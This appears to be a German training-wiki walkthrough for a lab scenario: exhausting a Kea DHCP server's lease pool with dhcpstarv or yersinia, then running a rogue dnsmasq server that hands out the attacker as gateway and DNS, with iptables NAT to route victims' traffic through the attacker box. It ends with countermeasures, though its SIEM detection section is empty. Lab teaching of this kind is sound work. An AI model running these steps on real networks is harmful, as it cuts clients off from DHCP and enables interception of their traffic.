DHCP-Starvation gegen Kea mit anschließendem Rogue-DHCP

Aus Xinux Wiki
Version vom 18. August 2026, 16:00 Uhr von Thomas.will (Diskussion | Beiträge) (→‎Phase 7: Erkennung im SIEM)
(Unterschied) ← Nächstältere Version | Aktuelle Version (Unterschied) | Nächstjüngere Version → (Unterschied)
Zur Navigation springen Zur Suche springen

DHCP-Starvation gegen Kea mit anschließendem Rogue-DHCP

In diesem Szenario wird der Lease-Pool eines legitimen Kea-DHCP-Servers durch eine Starvation-Attacke erschöpft. Sobald Kea keine Adressen mehr vergeben kann, übernimmt ein untergeschobener (rogue) DHCP-Server auf der Angreifer-Maschine die Adressvergabe und biegt Gateway und DNS auf den Angreifer um. Abschließend wird gezeigt, wie sich der Angriff in den Kea-Logs bzw. im Wazuh-SIEM nachweisen lässt.

Warnung
Nur im isolierten Laborsegment ausführen. Eine Starvation-Flut legt im Produktivnetz die DHCP-Versorgung für alle Clients lahm.

Szenario

Rolle Host IP Dienst
Legitimer DHCP kea.it.int 10.0.10.1 Kea DHCP4
Angreifer kali-innen 10.0.10.101 dnsmasq (Rogue), dhcpstarv
Opfer client2XX per DHCP frischer Lease-Bezug

Alle Hosts liegen in derselben Broadcast-Domain (gleiches VLAN). Das ist Pflicht, da DHCPDISCOVER/REQUEST Broadcasts sind und ohne DHCP-Relay nicht über die L3-Grenze hinauskommen.

Voraussetzungen

  • Drei Maschinen im selben Segment (Kea-Server, Kali, Opfer-Client)
  • Auf der Kali: dnsmasq, dhcpstarv bzw. yersinia
  • Schreibzugriff auf die Kea-Konfiguration für die Vorbereitung der Demo

Phase 1: Aufklärung

Vorhandenen DHCP-Server und seinen Pool sichtbar machen:

  • nmap --script broadcast-dhcp-discover

Liefert den antwortenden Server, das angebotene Gateway, den DNS und die Lease-Time — also genau die Werte, die der Rogue-Server später nachbilden bzw. überschreiben soll.

Phase 2: Kea für die Demo vorbereiten

Damit die Starvation im Labor deterministisch funktioniert, zwei Stellschrauben in der Kea-Konfiguration. Entscheidend ist match-client-id:

match-client-id (Default true)
Kea identifiziert einen Client primär über die Client-ID (Option 61), erst danach über die MAC. Sendet ein Starvation-Tool über alle Pakete dieselbe Client-ID, ordnet Kea sie demselben Lease zu — die Attacke verpufft. Auf false gesetzt, schlüsselt Kea ausschließlich über die MAC (chaddr), und jede neue gefälschte MAC erzwingt einen neuen Lease.
Poolgröße
Für eine schnell sichtbare Demo den Pool klein halten, sonst dauert das Leersaugen unnötig lange.
{
  "Dhcp4": {
    "interfaces-config": { "interfaces": [ "eth0" ] },
    "match-client-id": false,
    "valid-lifetime": 600,
    "subnet4": [
      {
        "id": 1,
        "subnet": "10.0.10.0/24",
        "pools": [ { "pool": "10.0.10.50 - 10.0.10.60" } ],
        "option-data": [
          { "name": "routers",            "data": "10.0.10.1" },
          { "name": "domain-name-servers", "data": "10.0.10.1" }
        ]
      }
    ]
  }
}

Elf Adressen (.50–.60), niedrige valid-lifetime — der Pool ist in Sekunden erschöpft.

  • systemctl restart kea-dhcp4-server

Phase 3: Starvation

Den Kea-Pool von der Kali aus leersaugen. dhcpstarv variiert die Quell-MAC und fordert für jede einen neuen Lease an:

  • dhcpstarv -i eth0

Alternativ mit yersinia (interaktiv, DHCP → sending DISCOVER packet):

  • yersinia -I

Kontrolle auf dem Kea-Server — der Pool füllt sich mit fremden Leases:

  • kea-admin lease-dump bzw. Blick in die Lease-Datei /var/lib/kea/kea-leases4.csv

Sobald alle elf Adressen vergeben sind, beantwortet Kea neue DISCOVER nicht mehr mit einem Angebot.

Phase 4: Rogue-DHCP übernimmt

Jetzt ist Kea „taub“ und der dnsmasq auf der Kali ist der einzige, der noch Adressen vergibt. Gateway und DNS zeigen auf den Angreifer: 

interface=eth0
bind-interfaces
dhcp-range=10.0.10.150,10.0.10.200,255.255.255.0,12h
dhcp-option=3,10.0.10.101
dhcp-option=6,10.0.10.101
server=8.8.8.8
log-queries
log-dhcp
dhcp-option=3
Gateway → Angreifer (.101)
dhcp-option=6
DNS → Angreifer (.101)
  • dnsmasq -C dnsmasq.conf -d

Der Bereich .150–.200 überschneidet sich nicht mit dem Kea-Pool, damit kein Adresskonflikt die Demo stört.

Phase 5: Nat und Forward

Forward Kette Freischalten und MASQUERDE aktivieren

  • iptables -I POSTROUTING -s 10.0.10.0/24 -j MASQUERADE
  • iptables -P FORWARD ACCEPT

Phase 6: Nachweis am Client

Auf dem Opfer-Client einen frischen Bezug erzwingen — ein bestehender Lease wird nicht sofort gewechselt:

  • Linux: dhclient -r && dhclient
  • Windows: ipconfig /release && ipconfig /renew

Prüfen, dass Gateway und DNS jetzt auf 10.0.10.101 zeigen:

  • ip route und resolvectl status

Ab hier läuft der gesamte Traffic des Clients über die Angreifer-Box — Grundlage für MitM, DNS-Spoofing oder einen transparenten Proxy.

Phase 7: Erkennung im SIEM

Gegenmaßnahmen

DHCP Snooping
Auf einem gemanagten Switch der Standardschutz. Nur der Uplink-Port zum echten Kea-Server wird als trusted markiert; auf allen anderen Ports werden Server-Antworten (OFFER/ACK) verworfen. Damit fällt der Rogue-dnsmasq sofort durch.
Port Security
Begrenzung der MAC-Adressen pro Port fängt die MAC-Flut der Starvation ab.
Rate-Limiting
DHCP-Pakete pro Port limitieren.

Siehe auch

Abgerufen von „https://xinux.net/index.php?title=DHCP-Starvation_gegen_Kea_mit_anschließendem_Rogue-DHCP&oldid=72809“